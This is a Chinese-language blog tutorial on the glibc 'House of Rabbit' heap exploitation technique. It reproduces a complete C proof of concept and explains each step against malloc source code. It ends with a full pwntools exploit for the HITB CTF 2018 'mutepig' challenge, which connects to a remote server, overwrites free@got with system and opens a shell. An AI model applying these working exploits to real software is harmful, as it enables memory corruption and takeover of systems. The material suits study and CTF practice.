House-Of-Rabbit

House Of Rabbit 原理

House Of Rabbit是一个比较新的堆利用姿势,在满足条件的情况下,可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的目的。

所需条件

  1. 可以分配任意大小的堆块并且释放,主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块(用于分配到任意地址处)
  2. 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节
  3. 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针。

当存在上述三个条件时,即可使用House Of Rabbit攻击方法,Rabbit的含义大概是可以JUMP到任意地址(日本人的冷幽默??)

利用方法

使用样例

此处有可以使用的样例文件,来自 shift-crops ,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
/*
PoC of House of Rabbit
Tested in Ubuntu 14.04, 16.04 (64bit).

Yutaro Shimizu
@shift_crops
2017/09/14
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char target[0x10] = "Hello, World!";
unsigned long gbuf[6] = {0};

int main(void){
void *p, *fast, *small, *fake;
char *victim;

printf( "This is PoC of House of Rabbit\n"
"This technique bypassing Heap ASLR without leaking address, "
"and make it possible to overwrite a variable located at an arbitary address.\n"
"Jump like a rabbit and get an accurate address by malloc! :)\n\n");

// 1. Make 'av->system_mem > 0xa00000'
printf("1. Make 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte by mmap at %p, and free.\n", p);
free(p);

p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte in heap at %p, and free.\n", p);
free(p);
printf(" Then, the value of 'av->system_mem' became larger than 0xa00000.\n\n");


// 2. Free fast chunk and link to fastbins
printf("2. Free fast chunk and link to fastbins\n");
fast = malloc(0x10); // any size in fastbins is ok
small = malloc(0x80);
printf( " Allocate fast chunk and small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");


// 3. Make fake_chunk on .bss
printf("3. Make fake_chunk on .bss\n");
gbuf[1] = 0x11;
gbuf[3] = 0xfffffffffffffff1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\n"
" fake_chunk2 (size : 0x%lx) is at %p\n\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);


// VULNERABILITY
// use after free or fastbins dup etc...
fake = &gbuf[2];
printf( "VULNERABILITY (e.g. UAF)\n"
" *fast = %p\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));


// 4. call malloc_consolidate
printf( "4. call malloc_consolidate\n"
" Free the small chunk (%p) next to top, and link fake_chunk1(%p) to unsorted bins.\n\n"
, small, fake);
free(small);


// 5. Link unsorted bins to appropriate list
printf( "5. Link unsorted bins to appropriate list\n"
" Rewrite fake_chunk1's size to 0xa0001 to bypass 'size < av->system_mem' check.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " Allocate huge chunk.\n"
" Now, fake_chunk1 link to largebin[126](max).\n"
" Then, write fake_chunk1's size back to 0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;


// 6. Overwrite targer variable
printf( "6. Overwrite targer variable on .data\n"
" target is at %p\n"
" Before : %s\n"
, &target, target);

malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" Allocate 0x10 byte at %p, and overwrite.\n", victim);
strcpy(victim, "Hacked!!");

printf(" After : %s\n", target);
}

下面对这个利用方法进行分步解析

步骤1 增大malloc函数中 mmap分配阈值

当通过malloc函数分配内存时,当超过某特定阈值时,堆块会由mmap来分配,但同时会改变该阈值。具体改变和分配代码如下:

分配代码:

1
2
3
4
5
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) 
&&(mp_.n_mmaps < mp_.n_mmaps_max))
{
……
}

阈值改变:

1
2
3
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);

因此在第一阶段

1
2
3
4
5
6
7
8
9
10
// 1. Make 'av->system_mem > 0xa00000'
printf("1. Make 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte by mmap at %p, and free.\n", p);
free(p);

p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte in heap at %p, and free.\n", p);
free(p);
printf(" Then, the value of 'av->system_mem' became larger than 0xa00000.\n\n");

第一次程序malloc(0xa00000)时,堆块由mmap分配,并且mp_.max_mmaped_mem变成0xa10000,当free以后再次malloc(0xa00000)时,系统会首先通过sbrk扩大top块进行分配,当最后一次free后,top大小变成0xa20c31 > 0xa00000

img

步骤2 申请小堆块并放入fastbin

首先malloc(0x20) ,再次malloc(0x80),这两块都是由top直接切割得到,保证small bin大小的块挨着top。

1
2
3
4
5
6
7
8
9
// 2. Free fast chunk and link to fastbins
printf("2. Free fast chunk and link to fastbins\n");
fast = malloc(0x20); // any size in fastbins is ok
small = malloc(0x80);
printf( " Allocate fast chunk and small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");

此时,对应的堆结构是:

img

步骤3 伪造堆块并劫持至fastbin

在一个已知地址的内存处(如未开启PIE的程序BSS段)伪造两个连续的堆块,一个堆块大小是0x11,紧挨着是0xfffffffffffffff1,这样可以保证后续操作可以覆盖到任意地址。更重要的是这个0x11的小块即是大块的前块,也是大块的后块,可以保证在malloc中通过检查。

利用漏洞劫持fastbin,将大小为0xfffffffffffffff1的堆块,挂到fastbin上去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 3. Make fake_chunk on .bss
printf("3. Make fake_chunk on .bss\n");
gbuf[1] = 0x11;
gbuf[3] = 0xfffffffffffffff1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\n"
" fake_chunk2 (size : 0x%lx) is at %p\n\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);


// VULNERABILITY
// use after free or fastbins dup etc...
fake = &gbuf[2];
printf( "VULNERABILITY (e.g. UAF)\n"
" *fast = %p\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));

此时,堆块状态如下:

img

步骤4 利用malloc_consolidate使伪造堆块进入unsorted bin

在free函数中,当释放的块大于 65536时,会触发malloc_consolidate,这个函数用于对fastbin合并,并放到unsorted bin中。

触发代码如下:(malloc.c 4071)

1
2
3
4
5
6
7
8
#define FASTBIN_CONSOLIDATION_THRESHOLD  (65536UL)

...
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);

...

而在malloc_consolidate()中,会循环处理各fastbin堆块,当堆块与top相邻时,与top合并。否则,将堆块放入unsorted bin中,并设置pre_size和pre_inuse位,此时较小的堆块变成 0xffffffffffffffff0 0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

对应步骤代码如下:

1
2
3
4
5
// 4. call malloc_consolidate
printf( "4. call malloc_consolidate\n"
" Free the small chunk (%p) next to top, and link fake_chunk1(%p) to unsorted bins.\n\n"
, small, fake);
free(small);

步骤结束后,内存分布如下:

img

步骤5 分配内存 使伪造堆块进入large bin

当伪造的堆块进入unsorted bin时,并不能达到目的,需要进一步使堆块进入large bin,此时需要将伪造的堆块大小改为0xa00001,其目的有两个,1是绕过程序对unsorted bin中内存块大小小于av->system_mem的检测;2是使程序放入large bin的最后一块(>0x800000)

malloc检测如下(malloc.c 3473)

1
2
3
4
5
6
7
8
9
10
11
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

步骤代码如下:

1
2
3
4
5
6
7
8
9
// 5. Link unsorted bins to appropriate list
printf( "5. Link unsorted bins to appropriate list\n"
" Rewrite fake_chunk1's size to 0xa00001 to bypass 'size < av->system_mem' check.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " Allocate huge chunk.\n"
" Now, fake_chunk1 link to largebin[126](max).\n"
" Then, write fake_chunk1's size back to 0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;

最终,程序的堆块布局如下:

img

步骤6 任意内存分配

当伪造堆块进入large bin最后一个队列时,将伪造堆块的大小改回0xfffffffffffffff1,此时在申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置,从而可以分配到任意地址,达到内存任意写的目的。

1
2
3
4
5
6
7
8
9
10
11
12
// 6. Overwrite targer variable
printf( "6. Overwrite targer variable on .data\n"
" target is at %p\n"
" Before : %s\n"
, &target, target);

malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" Allocate 0x10 byte at %p, and overwrite.\n", victim);
strcpy(victim, "Hacked!!");

printf(" After : %s\n", target);

相关题目

HITB CTF 2018 mutepig

题目提供分配大小为0x10、0x80、0xa00000、0xffffffffffffff70大小的堆块,并且没有开启PIE保护,还存在UAF漏洞,完全满足该利用方法需求,通过将内存地址分配回bss段低地址部分的堆地址指针数组,覆写数组内容为free@got,利用编辑功能,将其内容改为system@plt,在free时可以拿到shell。

坑点在于此题没有输出,调试比较坑。另外需要注意利用方法中提到的当大堆块释放到unsorted bin时,小堆块的值会有改动。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8
from pwn import *
import time
debug = 0
elf=ELF('mutepig')

if debug:
p = process('./mutepig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

else:
p = remote('47.75.128.158', 9999)
#libc = ELF('./libc.so.6')
context.log_level = 'debug'
#libc = ELF('./libc-2.23.so')
#off = 0x001b0000
def add(type,content):
p.sendline('1')
p.sendline(str(type))
p.send(content)
time.sleep(1)
def free(index):
p.sendline('2')
p.sendline(str(index))

def edit(index,content1,content2):
p.sendline('3')
p.sendline(str(index))
p.send(content1)
p.send(content2)
time.sleep(1)

bss_list = 0x06020C0
bss_can_be_edit = 0x602120
add(3,'p4nda_0') #0
free(0)
add(3,'p4nda_1') #1
free(1)
add(1,'p4nda_2') #2
add(2,'p4nda_3') #3
free(2)
edit(2,p64(bss_can_be_edit+0x10)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xfffffffffffffff1)+'\0'*15)
free(3)
edit(2,p64(0)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xA00001))
add(3,'p4nda_4') #4
edit(2,p64(bss_can_be_edit+0x10)[:-1],p64(0xfffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffff1))
#
add(0x3419,'p4nda_5') #5
add(1,p64(elf.got['free'])[:-1])

edit(0,p64(elf.symbols['system'])[:-1],'/bin/sh\0')
edit(6,'/bin/sh','/bin/sh\0')

free(6)


p.interactive()

题目

本文标题:House Of Rabbit 原理

文章作者:P4nda

发布时间:2018-04-18, 20:49:22

最后更新:2018-07-05, 21:32:46

原始链接:http://p4nda.top/2018/04/18/house-of-rabbit/

许可协议: “署名-非商用-相同方式共享 4.0” 转载请保留原文链接及作者。